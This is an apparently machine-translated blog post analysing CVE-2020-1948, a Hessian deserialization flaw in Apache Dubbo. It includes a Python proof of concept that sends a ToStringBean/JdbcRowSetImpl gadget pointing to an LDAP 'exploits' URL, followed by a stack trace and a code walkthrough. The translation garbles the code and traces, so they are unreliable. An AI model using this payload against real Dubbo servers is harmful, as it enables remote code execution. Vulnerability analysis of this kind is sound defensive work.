[CVE-2020-1948] Apache Dubbo Deserialization Vulnerability Analysis
Introduction to the
Dubbo is a high-performance, lightweight, open source Java RPC framework that provides three core capabilities: interface-oriented remote method invocation, intelligent fault tolerance and load balancing, and automatic service registration and discovery.
POC
https://www.mail-archive.com/[email protected]/msg06544.html
Affects version
- Dubbo 2.7.0 to 2.7.6
- Dubbo server to 2.6.7
- Dubbo all 2.5.x versions (not supported by official team any longer)
Environment set up
https://github.com/apache/dubbo-spring-boot-project
Download version 2.7.6, open the dubo-spring-boot-samples folder with IDEA, and add to the POM under provider-sample:
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
Copy the code
Maven starts running springboot.
Vulnerability analysis
Python’s poc
# -*- coding: utf-8 -*-
#pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1'.12345) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl'. dataSource="Ldap: / / 127.0.0.1:8087 / exploits". strMatchColumns=["foo"] ) JdbcRowSetImplClass=new_object( 'java.lang.Class'. name="com.sun.rowset.JdbcRowSetImpl". ) toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean'. beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp = client.send_request_and_return_response( service_name='cn.rui0'. method_name='rce'. args=[toStringBean]) Copy the code
Send a poc
org.apache.dubbo.remoting.RemotingException: Not found exported service: Cn. Rui0:1.0:12345 in [org. Apache. Dubbo. Spring. The boot. The demo. Consumer. DemoService: 1.0.0:12345]. May be the version or group mismatch, channel: consumer: / 127.0.0.1:61624 - - > the provider: / 127.0.0.1:12345 message: RpcInvocation [methodName = rce, parameterTypes=[class com.rometools.rome.feed.impl.ToStringBean], arguments=[], attachments={input=294, path=cn.rui0, Dubbo = 2.5.3, Version = 1.0}] at org. Apache. Dubbo.. RPC protocol. The dubbo. DubboProtocol. GetInvoker (DubboProtocol. Java: 265) ~ [dubbo - 2.7.6 jar: 2.7.6] the at org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument(CallbackServiceCodec.java:280) ~ [dubbo - 2.7.6 jar: 2.7.6] the at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:161) [dubbo - 2.7.6. Jar: 2.7.6] the at org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode(DecodeableRpcInvocation.java:79) [dubbo - 2.7.6. Jar: 2.7.6] at org. Apache. Dubbo, remoting. Transport. DecodeHandler. Decode (57) DecodeHandler. Java: [dubbo - 2.7.6. Jar: 2.7.6] at org. Apache. Dubbo, remoting. Transport. DecodeHandler. Received (44) DecodeHandler. Java: [dubbo - 2.7.6. Jar: 2.7.6] the at org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(ChannelEventRunnable.java:57) [dubbo - 2.7.6. Jar: 2.7.6] at Java. Util. Concurrent. ThreadPoolExecutor. RunWorker (ThreadPoolExecutor. Java: 1142) [na: 1.8.0 comes with _121] at Java. Util. Concurrent. ThreadPoolExecutor $Worker. The run (ThreadPoolExecutor. Java: 617) [na: 1.8.0 comes with _121] the at Java. Lang. Thread. The run (Thread. Java: 745) [na: 1.8.0 comes with _121]Copy the code
According to the error, the trigger has been exposed.
From the at org. Apache. Dubbo. RPC. Protocol. The dubbo. DecodeableRpcInvocation. Decode (DecodeableRpcInvocation. Java: 79) [Dubo-2.7.6.jar :2.7.6] Start.
As to theorg\apache\dubbo\rpc\protocol\dubbo\DecodeableRpcInvocation.java
Line 139.If in is input, take a look at how this readObject is written.
public <T> T readObject(Class<T> cls) throws IOException, ClassNotFoundException { return (T) mH2i.readObject(cls); }
Mh2i. readObject(CLS) Continue readObject,mH2i
The content of the is
public Object readObject(Class cl)
throws IOException {
return readObject(cl, null.null);
}
@Override public Object readObject(Class expectedClass, Class
... expectedTypes) throws IOException { if (expectedClass == null || expectedClass == Object.class) return readObject(); int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read(); switch (tag) { case 'N': return null; case 'H': { Deserializer reader = findSerializerFactory().getDeserializer(expectedClass); booleankeyValuePair = expectedTypes ! =null && expectedTypes.length == 2; // fix deserialize of short type return reader.readMap(this , keyValuePair ? expectedTypes[0] : null , keyValuePair ? expectedTypes[1] : null); } case 'M': { String type = readType(); // hessian/3bb3 if ("".equals(type)) { Deserializer reader; reader = findSerializerFactory().getDeserializer(expectedClass); return reader.readMap(this); } else { Deserializer reader; reader = findSerializerFactory().getObjectDeserializer(type, expectedClass); return reader.readMap(this); } } case 'C': { readObjectDefinition(expectedClass); return readObject(expectedClass); } case 0x60: case 0x61: case 0x62: case 0x63: case 0x64: case 0x65: case 0x66: case 0x67: case 0x68: case 0x69: case 0x6a: case 0x6b: case 0x6c: case 0x6d: case 0x6e: case 0x6f: { int ref = tag - 0x60; int size = _classDefs.size(); if (ref < 0 || size <= ref) throw new HessianProtocolException("'" + ref + "' is an unknown class definition"); ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref); return readObjectInstance(expectedClass, def); } case 'O': { int ref = readInt(); int size = _classDefs.size(); if (ref < 0 || size <= ref) throw new HessianProtocolException("'" + ref + "' is an unknown class definition"); ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref); return readObjectInstance(expectedClass, def); } case BC_LIST_VARIABLE: { String type = readType(); Deserializer reader; reader = findSerializerFactory().getListDeserializer(type, expectedClass); Object v = reader.readList(this, -1); return v; } case BC_LIST_FIXED: { String type = readType(); int length = readInt(); Deserializer reader; reader = findSerializerFactory().getListDeserializer(type, expectedClass); booleanvalueType = expectedTypes ! =null && expectedTypes.length == 1; Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null); return v; } case 0x70: case 0x71: case 0x72: case 0x73: case 0x74: case 0x75: case 0x76: case 0x77: { int length = tag - 0x70; String type = readType(); Deserializer reader; reader = findSerializerFactory().getListDeserializer(null, expectedClass); booleanvalueType = expectedTypes ! =null && expectedTypes.length == 1; // fix deserialize of short type Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null); return v; } case BC_LIST_VARIABLE_UNTYPED: { Deserializer reader; reader = findSerializerFactory().getListDeserializer(null, expectedClass); booleanvalueType = expectedTypes ! =null && expectedTypes.length == 1; // fix deserialize of short type Object v = reader.readList(this, -1, valueType ? expectedTypes[0] : null); return v; } case BC_LIST_FIXED_UNTYPED: { int length = readInt(); Deserializer reader; reader = findSerializerFactory().getListDeserializer(null, expectedClass); booleanvalueType = expectedTypes ! =null && expectedTypes.length == 1; // fix deserialize of short type Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null); return v; } case 0x78: case 0x79: case 0x7a: case 0x7b: case 0x7c: case 0x7d: case 0x7e: case 0x7f: { int length = tag - 0x78; Deserializer reader; reader = findSerializerFactory().getListDeserializer(null, expectedClass); booleanvalueType = expectedTypes ! =null && expectedTypes.length == 1; // fix deserialize of short type Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null); return v; } case BC_REF: { int ref = readInt(); return _refs.get(ref); } } if (tag >= 0) _offset--; // hessian/3b2i vs hessian/3406 // return readObject(); Object value = findSerializerFactory().getDeserializer(expectedClass).readObject(this); return value; } Copy the code
Came tocom\alibaba\com\caucho\hessian\io\Hessian2Input.java
You can see the class com. Rometools. Rome. Feed. Impl. ToStringBean is expected expectedClass (can see fastjson expect class),
The second loop goes to class java.lang. class, followed by com\ Alibaba \com\ Caucho \hessian\ IO \ classdeserializer.java
public Object readObject(AbstractHessianInput in, String[] fieldNames)
throws IOException {
int ref = in.addRef(null);
String name = null;
for (int i = 0; i < fieldNames.length; i++) { if ("name".equals(fieldNames[i])) name = in.readString(); else in.readObject(); } Object value = create(name); in.setRef(ref, value); return value; } Copy the code
Third com \ alibaba \ com \ caucho \ hessian \ IO \ ClassDeserializer Java
Principle of dubbo RPC
Root cause Let’s learn the principle of Dubbo RPC. Check out this article:https://www.jianshu.com/p/93c00a391e09
andhttps://blog.csdn.net/zhuqiuhui/article/details/89463642
Dubbo supports multiple serialization methods and serialization is protocol specific. For example, dubbo dubbo, Hessian2, Java, CompactedJava, RMI default to Java, and HTTP json.
- Dubbo serialization: Ali has not yet developed an efficient Java serialization implementation, and ali does not recommend its use in production environments
- Hessian2 Serialization: Hessian is an efficient way to serialize binary data across languages. But this is actually not native Hessian2 serialization, but Ali’s modified Hessian Lite, which is the serialization enabled by Dubbo RPC by default
- Json serialization: there are two implementations, one is the fastJSON library of Ali, the other is the simple JSON library of Dubbo itself, but its implementation is not particularly mature, and the performance of JSON text serialization is generally inferior to the above two binary serialization.
- Java serialization: mainly using Java Java serialization JDK implementation, performance is not ideal.
The four main serialization methods decrease in performance from top to bottom. For the remote call method of Dubbo RPC that pursues high performance, in fact, only 1 and 2 efficient serialization methods are suitable, and the first dubbo serialization is not mature, so there are actually only 2 available. Therefore, Dubbo RPC adopts hessian2 serialization by default.
But Hessian is an older serialization implementation, and it’s cross-language, so it’s not optimized for Java alone. Dubbo RPC is really a Java to Java remote call, and there is no need for cross-language serialization (and certainly not against cross-language serialization).
This article is formatted using MDNICE